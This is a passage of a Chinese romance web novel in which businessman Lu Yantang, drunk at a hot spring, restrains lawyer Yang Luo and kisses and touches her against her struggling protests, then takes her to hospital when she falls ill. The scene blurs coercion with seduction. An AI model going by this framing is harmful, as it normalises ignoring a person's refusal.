杨珞白了陆砚堂一眼,看出他没心思听自己汇报工作,索性不再说话了。她趁路上的时间把方案又从头到尾熟悉了一遍,再抬头时发现已经上山路了。山路极窄,蜿蜒盘旋,颇有几分危险,杨珞不自觉坐的更直些。
“我们要去哪儿?”
陆砚堂娴熟的打着方向盘:“这会儿才问?是不是晚了?”
杨珞知道他又在打趣:“怎么在上山?”
“江山明在山上有个庄园,今晚就在那儿谈事情。”
杨珞不再说话,小心翼翼的扒着车座,她本就有些恐高,这会儿更不敢往外看了。
车子在山路盘旋了十几分钟才到山顶,一栋建造豪华的庄园酒店赫然映入眼帘。杨珞这种工薪阶级,何曾见过这种地方。她下车站在原地打量了一番,陆砚堂随手将车钥匙揣进兜里,从后备箱里拿出一个小箱子提在手上。
“走吧。”
杨珞跟在他身后,许是陆砚堂一身休闲装扮,侍应在远处并未注意到他,直到走近才认出,慌忙迎上来。
“陆先生,久等久等,您到的挺早的。”
此时才下午四点多,确实挺早。
陆砚堂:“没事,把房卡给我吧,晚上我会准时到。”
“好的,二位请。”
杨珞默不作声的跟在陆砚堂身边,侍应很快拿了两张房卡过来,恭恭敬敬的递给陆砚堂和杨珞。
“陆先生,晚宴在顶楼,到时候我会差人去叫您。”
陆砚堂点了点头,把手里的小箱子递给侍应:“这儿有两瓶好酒,替我交给你们江总。”
侍应接过,连声道谢。
杨珞跟着陆砚堂往电梯走,陆砚堂随手递给她一张房卡。杨珞好奇问道:“江山明为什么选这个地方?”
在她的印象里,这样正式的谈判总该选个正式的地方。但方才听那侍应说晚上还有晚宴,有些出乎意料。
陆砚堂按了电梯,道:“谈生意,到了签合同的那一步该谈的都谈完了。剩下的就是走个过场。江山明想求和,那就得摆摆姿态,在他的地盘上总归办的敞亮些。”
杨珞了然,点了点头。
生意场上的弯弯绕绕,她懂得确实不多。
两人的房间是挨着的,陆砚堂进门前对她说:“晚上六点开始,你和法务和业务那边汇合了之后直接过去。”
杨珞:“好。”
杨珞刷卡进门,眼前一亮。
豪华的行政套房,落地窗外是一览无余的山景,下午的太阳刺眼明媚,晒得床铺暖融融的。
她紧绷了许久的身体放松下来,躺到床上稍眯了片刻,约莫半小时后接到张凌睿的电话,他也到了。
杨珞从床上爬起来到一楼餐吧与他汇合,坐下便玩笑道:“张律,你一天天忙的不见人影,是要发呀。”
张凌睿喝了一大口咖啡:“那可不,我还得为咱们所撑起一片天呢。不然怎么养活你们这群财迷。”
杨珞被他逗笑了。
张凌睿:“这山路开的我腿直哆嗦,你怎么来的?”
杨珞面不改色的扯谎:“我打车来的,不敢开。”
张凌睿:“行,那你开票,我给你报销。”
杨珞:“小事儿。”
没多久律所的人就来齐了,后续和陵川法务的人碰了头,五点半就去会场等着了。和杨珞想象中的灯红酒绿的会场不同,场外是餐厅,装饰和布置看起来都很商务。
这次的方案是江月集团让步,案子陵川会撤诉,江月集团出了应有赔偿以外,在海外市场的相关业务要给陵川一部分股份。杨珞对市场方面虽然不甚了解,但听他们的意思,陵川似乎并未狮子大开口,也正因为如此谈和才进展的这么顺利。
房间内,陆砚堂对着镜子打领带,电话另一头程进正跟他汇报工作。
“东城的关系都打点好了,刘先生虽然没有明确表态,但至少不会为难我们。”
“嗯,办好了就可以回。”
“陆先生,这边都安排妥当了,非要跟江山明走这一步吗?”
陆砚堂正了正衣领,从桌上拿起手机:“阿进,这件事拖太久了。告诉刘崇霖,多谢他为我开路。年前我过去一趟,到时候拿着江山明在东城的地皮给他贺寿。”
程进:“好。”
陆砚堂太眼看了看墙上的钟表,五点五十二分。他踱步到窗前点了一支烟,从桌子上拿起合作书。
西京三股势力,江家,唐家,还有陆家。
可实际上是四股,陆家有两个。一个是他陆砚堂,一个是陆家其他人。
时势变了,陆家也变了。
他潜藏了多年的东西,在这四年里如蓄势已久的风暴,席卷了整个陆家。
陆砚堂吐出最后一口烟,抬手将烟头捻在合作书上,江月集团的名字上。
江山明和陆砚堂几乎是同时出现,卡着六点整。陆砚堂又恢复了杨珞熟悉的样子,西装革履,不怒自威,脸上的笑意带着漫不经心,不带半分亲近。
江山明上前招呼,陆砚堂带着几分热情同他握手。
生意人都精明的不成样子,哪怕前一秒斗的头破血流,利益之上仍能喜笑颜开。
两人像是唠家常一般攀谈了一会儿,江山明还同身边的人说笑了几句。各自双方都带了公司的人和几名法务人员。但明显还是公司的中高层领导之间更熟悉些。杨珞和张凌睿显然是摆设,只为和几名法务一起见证合约的程序性罢了。
这
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像是个大型的交际现场,只有杨珞和张凌睿在一旁交头接耳。但张凌睿显然按耐不住了,他这样的老油条,怎么会放过这次结交权贵的机会。
眼看江山明朝两人的方向看过来,他立马做好了打招呼的准备,谁知江山明开口就叫了杨珞:“多谢杨小姐为我们的事费心费力。”
杨珞心里咯噔一声,生怕他嘴里说出林纪泽的名字。连忙含糊道:“江总,您客气了。我们给陆先生办事,肯定要全力以赴。我也没出多大力,多亏张主任,都是他和您那边的人员对接的。”
杨珞的话句句避开林纪泽,江山明那个老狐狸怎么会不明白。他只知道杨珞是林纪泽的女人,至于明的暗的,大的小的,他不在乎。他只要给足林纪泽面子即可。江山明顺理成章的把话头带到身旁的张凌睿身上,客气的跟他说了几句感激的话,张凌睿受宠若惊。
杨珞侧身避开二人,偷偷退到不显眼的地方。她庆幸江山明的圆滑,她同林纪泽的瓜葛,少有人知道。想到这儿,她抬眼偷偷朝另一侧看过去,恰好撞到陆砚堂的目光里。他正同身边的人说这话,却分了一个眼神在她这里。
杨珞急忙躲开,带着些心虚。
大家都是有备而来,合同签的很快。而后江山明的秘书招待众人在宴会厅吃饭,江山明则和陆砚堂去了一旁的侧厅。
杨珞的目光追随着二人,她原本以为今晚要好好谈谈正事儿,她还能在旁边提唐亭打探一下唐家的消息,谁知结束的这样快。
“看什么呢?”
张凌睿突然凑过来。杨珞急忙收回目光。
“没什么。”
“对了,江总怎么会认识你?感觉对你还挺热情。”
杨珞挑眉,打趣:“美女的特权。”
张凌睿似乎没有被她唬住,追问:“少打哈哈,我发现你这个你这个小妮子有事儿瞒我。”
杨珞:“我能有什么事儿瞒你?”
张凌睿:“上次你去见陆总,这次江山明又对你这么客气,你一个小小的执业律师,凭什么?就凭你长得好看?”
杨珞:“不行吗?”
张凌睿:“那两位像是没见过美女的样子吗?”
杨珞:“就是上次去找陆总拿东西的时候碰见江总了嘛,所以才打了个照面,想什么呢,没人给你抢律所头牌的位置。”
杨珞说完就拉着张凌睿吃东西去了,她可经不住盘问。
屋内,江山明倒了两杯红酒,一杯递给陆砚堂。
“陆总把这样珍藏的酒给我真是叫我不知如何是好,本是我做东,不周到的地方还请您多担待。”
“哪里的事,江总愿意跟我合作就已经是我的荣幸了。”
江山明笑了笑,眼里几分落寞。
都说陆砚堂尽是霹雳手段,一开始还未见端倪,如见自己才彻底见识到。
“陆总,这儿就我们两个人,咱们就明人不说暗话了。如今西京你们陆家一家独大,我自愧不如。往日多有得罪的地方,还请您海涵。以后我愿意犬马之劳,还望您多抬抬手,也给大家伙留条路。”
陆砚堂扯了下嘴角:“江总这话说的我多不近人情,我也需要合作伙伴,何乐而不为。不过您临阵倒戈,不怕唐家怪罪吗?”
江山明嗤笑一声:“唐家?落败之族,原本就想趁火打劫,跟他们合作也不是长久之计。唐家还不敢把我江山明奈何,当然,更不敢把您怎么样,不必担忧。”
陆砚堂品了一口酒,笑的意味深长。
26. 第21章
晚宴早早结束,江山明和陆砚堂从侧厅出来时才八点多。
大家各随其主,杨珞和张凌睿跟在人群后,陆砚堂走在最前方跟身边的人交代着什么。而后那人很快点头,带着一行人离开了。
到门口时,外面已经下起了细细的小雨,吹进来的风有一丝丝凉意。
张凌睿从公文包里拿出车钥匙:“那我走了啊。”
杨珞睁大眼睛:“你要走啦?”
不是说今晚要过夜吗?
张凌睿:“对,我明天一早还要去赶飞机出差呢。你就别回了,这儿的温泉特别不错,可以去泡泡。”
杨珞:“可外面还下雨呢,山路多危险。”
张凌睿:“雨不大,我的车技你还不放心。走了啊。”
杨珞:“哎……”
她话还没说出口,张凌睿就大步流星的离开了。
原来可以走啊,那自己为什么要留在这儿,早知道提前问问张凌睿了。
杨珞忿忿的朝陆砚堂看一眼,他神色淡然,笑道:“他非要走,我又不能强留。你想走,那你开我车下山?”
那鬼门关的山路,杨珞可不敢开。
许是料定杨珞没这胆子,陆砚堂的表情有股胸有成竹的逗弄。
杨珞没好气道:“谢谢,不用了。”
杨珞回到房间,脱掉高跟鞋和束缚的西装,去卫生间卸了妆准备洗澡睡觉。可洗完脸却发现没有一点困意,毕竟才不到九点。
她往窗外望了一眼,雨已经停了,想起张凌睿说的温泉,她决定去试试。
杨珞打电话问前台要了一套泳衣,裹着浴袍就下去了。
室外温泉离住的地方有二百米的距离,在酒店后面的花园里,别有一番风味。或许是方才下了雨,所以杨珞一路也没看到人。
虽然雨停了,但是温度还是有些凉,她冷不丁的打了个喷嚏。
很快到了温泉处,果然一个人也没有。池面上冒着腾腾热气,在月光下飘逸着丝丝烟缕。
杨珞将拖鞋放在一旁,把浴袍挂好,一只脚探进去,暖意瞬间袭遍全身,顿时连夜间的凉风也显了。
她飞快钻进池子里,感受着温泉汤的滋润。四下无人,她舒服的呼出一口气。
“真爽。”
陆砚堂穿着浴袍,在杨珞身后静静的立住。
他难得闲一晚上,想起张凌睿临走时说的温泉,也一时兴起过来试试,刚到就瞧见这一幕。
“有多爽?”
身后突然响起陆砚堂的声音,杨珞吓的猛回头。
“你怎么在这儿?”
陆砚堂解开浴袍的带子,脱下来挂在置衣架上。
“这是你家的温泉?”
当然不是。
杨珞没再说话,看着陆砚堂大步跨进池子里,原本平静的水波被他搅起一阵阵涟漪。杨珞自觉的离他远了些,两人成了斜对角。杨珞也不看他,背着身子趴在池边。
陆砚堂坐定,两只胳膊搭在边缘,放松的靠在鹅卵石壁。汤泉偏乳白色,不算特别清澈,但能看到一个模糊的轮廓。
杨珞坐的甚是乖巧,两条光裸的腿叠在一起,映在水影中,随着水波轻微晃动着。
谁也没有说话,空气中散发着雨后的泥土清香,虫鸟的叫声格外清脆。
就这样过了许久,杨珞忍不住回头看去。
隔着一层雾气,她瞧见陆砚堂微微仰着头,似乎在闭目养神。
他平日严肃惯了,即便是这样闲散的时刻,棱角分明的五官也显出几分不可亲近的距离感。池水正好到他的胸前,随着风在他身上一上一下的掠过。陆砚堂的身材是很好的,杨珞见识过,但眼前的场景仍是让她觉得多了几分情.色的美感。
“杨珞,过来。”
陆砚堂突然开口,杨珞像是被抓包一样定住,可细细看他分明是闭着眼睛的。杨珞默默转回头,当作没听到。
他又开口:“下雨了。”
杨珞这才往天上看去,灯光下能看到极细的雨丝,因为泡在水里所以没发觉到,此时她才发现陆砚堂的地方选的好得很,池子本是露天的,但旁边立着一个亭子,亭子的一角伸出来正巧在那个位置遮住了一片地方。
可杨珞不想过去。
“不用。”
陆砚堂缓缓睁开眼睛,声音多了几分慵懒:“地方就这么大,我要是想干什么你也跑不了。你再淋下去,别搞的有命上山没命下山。”
杨珞确实有几分冷意了,细雨下的密了起来,她纠结片刻,缓缓的移了过去。
能避雨的地方不大,杨珞挨着陆砚堂坐了下来,但却还保持着安全距离。
她往下缩了缩,暖和一下肩膀,只露出一颗脑袋。
陆砚堂看着她略显滑稽的样子,无声笑了笑。
却被杨珞瞧见。
“笑什么?”
陆砚堂今晚和江山明喝了一瓶酒,有些醉意。他并不回答,朝杨珞直直的看过来,目光居高临下。
杨珞见他不说话,也不再吭声。
两人安静了半晌,陆砚堂问:“江月集团的案子结束了,后面你打算干什么?”
杨珞:“继续上班。陆总可能不太了解我们行业,做律师的哪儿能手里只有一个案子。”
陆砚堂笑了笑,又问:“你跟着张凌睿能赚多少钱?”
杨珞:“还行。他挺大方的。不过肯定没有你们这种资本家赚得多。”
陆砚堂:“赚得是多,不过风险也大,或许一夜之间就一无所有。”
他话里像是感慨什么,杨珞叹了口气,道:“也是,想当年江山明在西京是何等风光,如今也要到你手下讨口饭吃。西京还真是翻天覆地的变了。”
陆砚堂挑眉:“你对西京很熟悉吗?”
杨珞:“当然了,我在这里呆过很多年。”
杨父以前任职的时候,杨珞就随父亲在这里上学,虽不是她的家乡,但也算熟悉。
陆砚堂笑了笑:“是,西京的局势变了。”
杨珞若有所思,而后随意道:“以前最风光的是唐云平,后来变成江山明,现在都不行了。”
陆砚堂看她一眼。
杨珞继续问:“唐家呢?唐家也要向你求和吗?”
陆砚堂把杨珞调查的清清楚楚,自然知道她和唐亭的关系,也看出此刻她的小心思。
“唐家不够聪明,他想当老大,可惜没这个实力。人心不足蛇吞象的,都没有好下场。”
杨珞从他的目光里看出了一丝不屑,陆砚堂话里的意思很多,足够她琢磨半天。但杨珞立马就会到了最重要的一点,那就是唐家并没有归顺于他。
尝到甜头的杨珞嘴巴比脑子还快,追问到:“那唐继平打算怎么办?”
可这次陆砚堂没有回答她:“再问就要收费了。”
杨珞大失所望,转过头去:“你可真是生意人,一点赔本的买卖都不做。”
“你怎么知道我不赔?我又没说要收多少。”
他语气中带着醉酒的轻浮,杨珞听出了几分暧昧的
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意思,她害怕谈话继续下去。警惕的转身,不再同陆砚堂打趣。
陆砚堂看着她的小动作,了然于心。
他的声音突然沉了几分:“杨珞,你有些聪明的过头了。”
杨珞背对着她,语气冷淡:“聪明不好吗?”
他低声笑了一下:“好,很好。”
杨珞紧绷着身体,泉水顺着她的蝴蝶骨缓缓留下,和荡漾的温泉交汇在一起。
泡的久了,陆砚堂有些口干舌燥。
他忽的抬起胳膊,把手覆在杨珞的肩膀上。
陆砚堂第一次觉得杨珞这么瘦弱,他一只手竟能盖住她的半侧肩。
这触感有些美妙,带着水润,细滑小巧。
杨珞吓的哆嗦了一下,本能想跑开,却明显的感觉陆砚堂用力一握,她竟有些难以挣脱。
杨珞心里咯噔一下,陆砚堂说的没错,他若真想干什么,她也跑不掉。
“陆砚堂!”
杨珞叫他的名字,语气里带着几分警告。
“嗯?”
陆砚堂只是懒懒的应了一声,手下的力道丝毫没有松开的意思。
杨珞:“松手。”
陆砚堂的虎口卡着她的侧颈,拇指玩弄似的摩擦着她的后颈,一下又一下,漫不经心,却让杨珞坐立难安。
陆砚堂:“我想跟你聊聊我们的事儿。”
杨珞开口,声音竟有些发抖:“我们之间没什么事情好聊的。”
“你确定吗?”
杨珞终于回头,雾气在月光下盈盈升起,陆砚堂一副上位者做派,轻而易举的将她拿捏于股掌之间。
他眼神里是肆无忌惮的侵略。
杨珞觉得自己仿佛看到了那天晚上的他。
那种毫不掩饰的欲望和势在必得的姿态。
杨珞害怕了。
“我不想……”
“我还没说我要什么,就这么着急拒绝我?”
陆砚堂打断了她,他手臂微微用力,将杨珞拉到自己眼前。杨珞伸手去推挡,触摸到他胸口时发现他身上温度极高。
这样近的距离,这样衣不蔽体的二人,她的推攘也变了意味,陆砚堂任她在自己身上动作,然后看她气愤的盯着自己。
“你要什么我都给不了。陆先生,你知道我和林纪泽的关系,也知道我这么多年都在经历什么。我不想再给自己找麻烦了,我真的惹不起他。”
“你惹不起他?就能惹得起我?”
杨珞的目光从惊讶变为失望,是啊,她惹得起谁呢,谁又会真的在意她?
看到油盐不进的陆砚堂,杨珞再无半点期望。
她想扒开陆砚堂禁锢着自己的手,却怎么用力他都不肯松开。
一股怒气直冲上脑,她冲着陆砚堂的肩膀狠狠咬了一口。
谁知刚咬上去,就被陆砚堂眼疾手快的抓着后颈拽开了。
陆砚堂被她张牙舞爪的样子逗笑了。
“你倒是一向牙尖嘴利。”
杨珞去踹他,可隔着水的阻力,陆砚堂只感觉到一阵痒。
痒的他难受。
两人激起阵阵水花,落在杨珞脸上,又顺着胸口留下来。
陆砚堂的醉意很微妙,他知道自己做的每一件事,也能清楚的感觉到今晚自己在放纵。
可却没了平日的克制
他扣着杨珞的脑袋把人拉过来,低头去亲她。
“唔……”
杨珞闷哼一声,所有的声音都被陆砚堂吞进了嘴里。
27. 第22章
杨珞挣扎着,双手打在他肩上、胸口、肚子上。
陆砚堂只觉得越来越燥热。
他想起了那晚的场景,他甚至能够回忆起那天杨珞的模样。
陆砚堂顺着那次的记忆,娴熟吻上她的耳朵,一只手慢慢落在她的腰上。
他知道如何让杨珞舒服。
杨珞的心里备受煎熬,可身体却在被取悦着。
她被他圈住,放肆的享用着这具让他着迷的身体。
杨珞突然觉得很难过。
她身上套着一个永远都挣不脱的笼子,谁来都可以消遣一番,她所有的挣扎都显得那么无能为力。
杨珞停下手中反抗的动作,不再做无谓的挣扎。
察觉到她突然的安静,把陆砚堂从欲望的巅峰里拉回来,他放慢了动作,睁开眼睛,看到杨珞的神情。
陆砚堂停了下来,双手撑着池子边缘,把她圈在怀里。杨珞如获新生,大口的喘着气。
陆砚堂缓缓平静下来,神情带着克制。他看着杨珞,突然笑了一下。
“杨珞,我还挺喜欢你的。”
杨珞惊讶的看着陆砚堂,而后一把推开他,爬上岸去落荒而逃。
这次陆砚堂没有再拦她,看着她的身影彻底消失,他抹了一把脸上的水珠。
酒醒了。
回去的路上雨大了起来,杨珞连浴袍都没穿,她光着脚跑回房间,刚一进门就连着打了三四个喷嚏。
她如同惊魂归体坐在地上,许久才平复了心情。
珞想到陆砚堂最后和自己说的话,打了个激灵。
杨珞没有一点被人喜欢的喜悦,却是一种后背发凉的害怕。
过了片刻她觉得这不是错觉,是真的冷。她脱掉泳衣去浴室冲了个热水澡,擦身子的时候发现例假来了。
然后紧接着又打了两个喷嚏。
真是祸不单行。
杨珞打电话问前台要了一包卫生巾,入睡的时候感觉到微微腹痛,但实在难受,脑袋沉沉的睡去了。
陆砚堂回到房间,顿时觉得有些荒唐。
他没料到自己会说出那样的话,但转念一想,也无所谓。
陆砚堂的情绪和状态很少被影响,他惯例的洗了个澡,处理了一些邮件和微信。思绪一旦投入工作,旁的人和事都抛之脑外了。
陆砚堂平稳入睡,以为这会是个平凡的夜晚,可半夜的时候突然醒了,醒的很意外。
他做了一个春梦。
意料之外,还有点可笑。
但想到睡前和她在汤泉里的一番折腾,陆砚堂又觉得也是情理之中。
窗外星星点点,屋里一片寂静。他平复了一下自己的心情,朝身下看过去,那处似乎还精神得很。
自上次在波尔多和杨珞的那回之后,陆砚堂没有过其他女人。
他并不是一个在男女关系上乱来的人,也不喜在这种事情上太放纵,平日工作繁忙也很少自己动手。
可今晚确实有些兴致。
他的心思有些飘忽,飘来飘去,又落在了杨珞身上。并且他的身体也很诚实,想到她时,反应总是更大些。
他放任自己去想,想她今晚砸在自己身上的拳头,想她被亲吻时喉咙里的呻/吟,想在波尔多时她放纵的娇/喘。
可再怎么想,也不如实际来的舒服。自己再摆弄,也没有真刀实枪解渴。
好一会儿都没弄出来,他有些烦躁了。
罪魁祸首就在隔壁躺着,自己这番样子属实有些没意思。
他翻身下床去冲了个澡,把燥热冲了下去。
等从浴室出来的时候,听到门外一阵响声。
他没在意,又躺回去,可门口的声音断断续续,他也听不真切,但很影响他入睡。
陆砚堂耐着性子开门,只见一个服务员正在敲杨珞的门。
“怎么回事?”
服务员看到陆砚堂的脸色有些不悦,惶恐道:“刚才这位客人打电话要退烧药,我送过来了但是门一直敲不开。”
退烧药?
陆砚堂眉头皱了皱,想起今晚下的雨。
“把门打开。”
服务员有些为难。
“愣着干什么?”
服务员被陆砚堂瞪了一眼,两腿一软。
“稍等,我去找经理拿房卡。”
一分钟后服务员气喘吁吁的跑过来,陆砚堂刷卡进去,只见杨珞屋里的床头灯还开着。她蜷缩成小小一团,表情有些痛苦。
“杨珞。”
陆砚堂大步流星的走过去,叫她的名字却没有反应。
他伸手往她额头上一探,烫的要命。
可杨珞的双手却捂着肚子,陆砚堂疑惑之际,看到了桌子上刚刚拆封的卫生巾。
“退烧药呢?”
服务员赶紧递过去,陆砚堂拧开一瓶矿泉水,把杨珞扶了起来。
“醒醒,张嘴。”
杨珞半梦半醒,被强灌进去几口水,顿时咳嗽了起来。可陆砚堂没有放开她,问服务员:“有没有止痛药?”
服务员不知所措的摇头:“我不知道……”
陆砚堂:“去找个司机,让他在楼下等我。”
“好的”
陆砚堂掀开杨珞的被子,她只穿着单薄的睡衣,来的时候并不冷,陆砚堂没有找到她的厚衣服,随手在衣柜里扯了个披肩把人裹了起来。
他回房拿了自己的手机,又装了杨珞的手机,然后抱起她就下楼了。
司机已经在下面等候,因为是陆砚堂的要求,他们半点不敢轻慢。
外面雨已经停了,但山路上还是有些泥泞。
陆砚堂抱着杨珞进了后座,对司机交代:“去最近的医院。”
车子很快发动,杨珞躺在陆砚堂的腿上,几经颠簸后微微醒了过来。她先是看到了陆砚堂,然后又看清了车里的装饰,和窗外闪动的灯光。
陆砚堂看她睁开了眼睛,道:“醒了?”
杨珞迷迷糊糊问:“怎么是你。你要带我去哪儿?”
陆砚堂:“带到地下室,关起来,怕不怕?”
听起来怪吓人的。
可杨珞知道他又在逗自己。
不知怎么的,她在这种时候居然会对陆砚堂有一种奇怪的信任。
她说:“你骗人。”
细密的汗珠打湿了她额前的头发,陆砚堂伸手将她的发丝挽在耳后,指尖划过她的面容,他竟一瞬间有些恍惚。
这些年来,他总琢磨着怎么叫人去死,倒是很少这样大发善心救过人。
杨珞又睡去了,他打了程进的电话。那头程进在睡梦中被吵醒,听到陆砚堂交代:“你过来找我一趟,地址发你手机上了。”
程进一看是医院,打起精神:“出什么事儿了吗?”
陆砚堂:“我没事儿,带点吃的来。”
程进:“好,我马上去。”
司机开的极快,一个多小时就到医院了。陆砚堂抱着杨珞去了急诊,三更半夜,人并不多。
急诊室的护士正在聊天,抬头就看到一个身材高大的男人大步走来,手里抱着一位瘦弱苍白的女人。
护士愣了愣,不禁觉得场面有些养眼,急忙迎上去,问:“她怎么了?”
陆砚堂惜字如金:“发烧,痛经。”
“啊?”痛经痛到晕过去的不是没见过,但大半夜被送到急诊室的确实不多。
陆砚堂看着那护士,没有重复一遍的打算。
两个护士手忙脚乱,给杨珞测了个体温,然后找值班医生来开了两瓶止痛的点滴。值班医生把点滴挂上,转过来看着站在门口陆砚堂:“家属过来。”
两秒的沉默,陆砚堂走过去。
“有事吗?”
值班医生:“风寒感冒引起的发烧,打了退烧针,烧已经她退下来了。还有她宫寒,以后管着点她,少吃点凉的,不然以后身子会落下毛病,生孩子都不好生。”
陆砚堂:“……”
值班医生:“听见了吗?”
陆砚堂:“嗯”
医生奇怪的看陆砚堂一眼,觉得眼前的人有些冷漠。
“等她醒了,让她吃点东西。”
医生给杨珞安排了病房,深更半夜,人不多,病房也较为空闲。陆砚堂去一楼大厅缴了费,回到病房,踱步到杨珞床前,若有所思的看着她。
他居高临下打量着杨珞,发现她睡的酣甜。
她睡觉的样子很像他养过的一只猫。
止痛针打下去不久杨珞就好了很多,她其实一直没有睡深,只是太过疲倦,迷迷糊糊的眯着。病房里关着灯,但窗外各种广告牌散射进来,仍是亮堂一片。
杨珞翻身时醒了过来,察觉到一丝诡异,
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她缓缓睁开眼睛,正看到陆砚堂目光幽深的打量着自己。她吓了一跳,扎针的胳膊抖了一下,针跑了。
她疼的倒吸一口冷气,陆砚堂伸手按了护士铃,护士过来又重新帮她固定好。
杨珞:“你在这儿扮鬼吗?”
陆砚堂好心好意留下,被问这么一句,倒是被气笑了。
此时程进火急火燎的赶过来,看到病床上的杨珞时就明白了一切。他手里提着刚买的吃食,送到杨珞面前:“要不要吃点东西?”
杨珞意外程进也在这里,正要开口,程进便解释道:“我顺路过来。”
哪有人三更半夜顺路到医院,还带着吃的。杨珞十分不好意思,面对程进的好意满怀感激,说了好几声谢谢。
陆砚堂看她这样子,心里倒不是滋味儿了,她怎么不知道谢谢自己呢?
陆砚堂淡淡的瞥了程进一眼,程进就跟他肚子里的蛔虫似的,大气不敢出一下,赶紧又撤了出去。
“我先去停车。”
杨珞左手打着点滴并不方便,于是便把粥拆了放在大腿上,弯着身子别扭的喝,全程也没有让陆砚堂帮忙。陆砚堂悠闲的坐在病床对面,丝毫没有过来搭把手的意思,就这么看着她。
看着看着突然笑了,许是因为她滑稽,许是因为她有趣。他不由得想到纠缠着她好多年的林纪泽,一往情深的让人不可理解。
她有多少魅力?
像是替林纪泽疑惑,又像是替自己疑惑。
杨珞把喝完的粥盒放在一边,抬头看了陆砚堂一眼。他坐在病房里的椅子上,椅子不大,他坐着甚至有些狭小。他像平时一样喜欢叠着腿,闲散中透着不怒而威的气势,让这其貌不扬的病房有些蓬荜生辉。
杨珞收回目光,问:“谢谢你送我过来,你还不走吗?”
陆砚堂出神的回答:“我在想,你和他会是什么结局。”
杨珞擦嘴的手一顿。
“谁?”
“你知道我在说谁。”
杨珞的目光沉了几分,重新躺了回去,半晌,平静的说:“你要想当个看客,我可以告诉你。不是他死就是我死。”
他调侃她,带着笑意:“那你可真够绝情的。不过看样子,让他死你还没这个本事。你自己死,怕是也不现实。”
杨珞冷笑道:“听你的话,是要帮我?那等有一天我生不如死的时候,劳烦你大发善心,给我个痛快,怎么样?”
陆砚堂摇了摇头:“不划算,杀了你平白得罪林二公子,我又捞不着什么好处。我是个生意人,不做这种赔本儿的买卖。”
杨珞听了他的话不禁笑了。
“是啊,我这种人,死了都留不下什么价值。”
陆砚堂在她的话里听到了浅浅的绝望,许久没人再说话,只能听到走廊里断断续续的脚步声。
杨珞侧躺着,看着窗外高楼上不断闪动的广告牌,她睡觉避光,这样亮的房间里,根本睡不着。
“西京的夜晚真亮啊。”
陆砚堂顺着她的话朝窗外看去,医院对面是几栋高楼,零零散散的灯光汇聚一片,路上车水马龙,把黑夜的城市照的清清楚楚。这里不像波尔多,静谧黝黑,抬头便是一片星河。
杨珞看着远处的霓虹灯,叫他的名字:“陆砚堂。”
陆砚堂转过头来看着她。
“嗯。”
“夜色深处才有情迷意乱,西京的夜晚不比波尔多朦胧暧昧,这里太亮了,比白天还要刺眼,亮的容不下混沌和迷失,所以过去的事,就留在过去的地方吧。算是一场美梦,又何必让它破在现实里。”
如果没有在西京重新遇见陆砚堂,那个在波尔多如红酒般醇厚的绅士陆淮,或许真的是她人生中为数不多的美梦了。
她似乎在恳求他,陆砚堂静静坐着,却久久没有说话,直到杨珞有些昏昏欲睡,只剩下她模糊不清的呢喃。
她真的好累。
不知过了多久,杨珞睡着了,陆砚堂从沉思里缓过神来,看了一眼腕上的表,起身到窗户前,帮她把窗帘拉上。
他抬腿要走,杨珞桌子上的手机突然响了,他想过去帮她按掉,却看到了屏幕上闪动着的三个字。
陆砚堂盯着手机,转头看了眼熟睡的杨珞,似乎在犹豫什么。
一秒钟后,他接起电话。
“林先生,我是陆砚堂。”
28. 第23章
回去的路上,陆砚堂心不在焉的看着窗外的风景,杨珞说的不错,西京的夜实在是太亮了。
程进趁着红绿灯的间隙从后视镜里看了一眼陆砚堂,忍不住问:“江山明的案子结束了,后续我们还要和张凌睿他们律所合作吗?”
陆砚堂轻轻抬眼,在后视镜里对上程进的眼睛:“你什么时候关心起这种事儿了?”
程进下颌紧绷:“没有,我就随口一问。”
程进问的弯弯绕绕,陆砚堂却听明白了,他在探自己对杨珞的态度。
“不用跟我绕圈子,有话直说。”
程进笑了下:“我也没什么意思。只是和张凌睿合作,就会和杨小姐扯上关系。林纪泽对她确实是一往情深,您也说了,冲冠一怒为红颜的人都是疯子。这疯子怕是不太好惹。”
陆砚堂微微靠着,些许放松了些,喉咙里的声音多了几分沙哑。
“那你说,我该不该惹一个疯子?”
程进:“该不该我怎么说得准,得看杨小姐的分量。”
陆砚堂闻言愣了一瞬,而后笑了。
程进几乎是陪着他长大的,对他的了解自然多一些。
陆砚堂话头一转,问:“你呢?这么多年也没见你身边有过女人,有喜欢的姑娘吗?”
程进一愣:“我?没有。天天忙的脚不着地,哪儿有时间陪姑娘。怎么突然问起我了。”
陆砚堂沉默一秒,摇了摇头:“没什么。”
——
林纪泽到医院的时候杨珞还在熟睡,病房里没有其他人,陆砚堂已经离开了。他走到杨珞的床前蹲下,轻柔了抚了抚她的脸颊,而后看到点滴还剩小半瓶,就搬了个椅子坐了过来。
林纪泽安静的呆在杨珞身边,忍不住想,如果时间就这么停住,倒也不是件坏事。至少能看着她,也不会让她厌烦。
他想起电话里陆砚堂的解释,不过是因为一同出差,恰巧看到杨珞身体不舒服,作为上司便举手之劳给送了过来。
可即便是这么合情合理的解释,他心里隐隐还是有些不舒服,一种不好的感觉。
林纪泽觉得自己的心空的像个黑洞一样,所有人的东西填过来都被吸收的无影无踪,巨大的空虚永远都填不满,像个光鲜亮丽的行尸走肉。
“杨珞,我迟早要死在你手里。”
从什么时候开始,他们之间的一切都变了?
从什么时候开始她成了自己的执念?
明明初见她的时候,觉得她也只不过是个清汤挂面一样无趣的女人。
林纪泽静静坐着,过去的事如浮影搬在他脑海飘过。
明明杨珞给自己上完最后一节课离开的时候,他还不觉得她有多特别,他还觉得这个女人不过是生活里的一个过客,哪怕在他心里激起了一点点的涟漪,但也不过如此而已。
他只是觉得这女人冷漠的很,无趣的很。
他甚至觉得两人再也不会遇见。
后来呢?发生什么了。
林纪泽深吸一口气,疲惫的靠在椅子上,慢慢闭上了眼睛。
像是做梦一样,他想起来了。
他们再见面,是在学校里。
可很明显,那时候的杨珞并不想遇见他。和那些费尽心机想往他身边凑的人不同,很长一段时间里,他们在学校无意中碰面,他都看得出杨珞在躲着他,又或装作没看见。
林纪泽对她的回避并没有太放在心上。
直到暑假后的开学典礼上,杨珞作为优秀学生代表上台讲话。
她化着精致的妆容,自信从容的分享着她的校园生活,美好,热情。
林纪泽在台下坐着,静静地看着她,忽然觉得如此宁静和熟悉,仿佛她倚在自己床边,在阳光下睡着的事情发生在昨天一样。
林纪泽猛然发现,原来自己对她记得这么清楚。
身边的朋友凑过来,问:“这个就是你说过的那个家庭教师?”
林纪泽嗯了一声,眼神却没有从杨珞身上移开。
“很漂亮啊。”
他看了朋友一眼,见他用欣赏的眼光看着杨珞。
朋友问林纪泽:“我追她怎么样?”
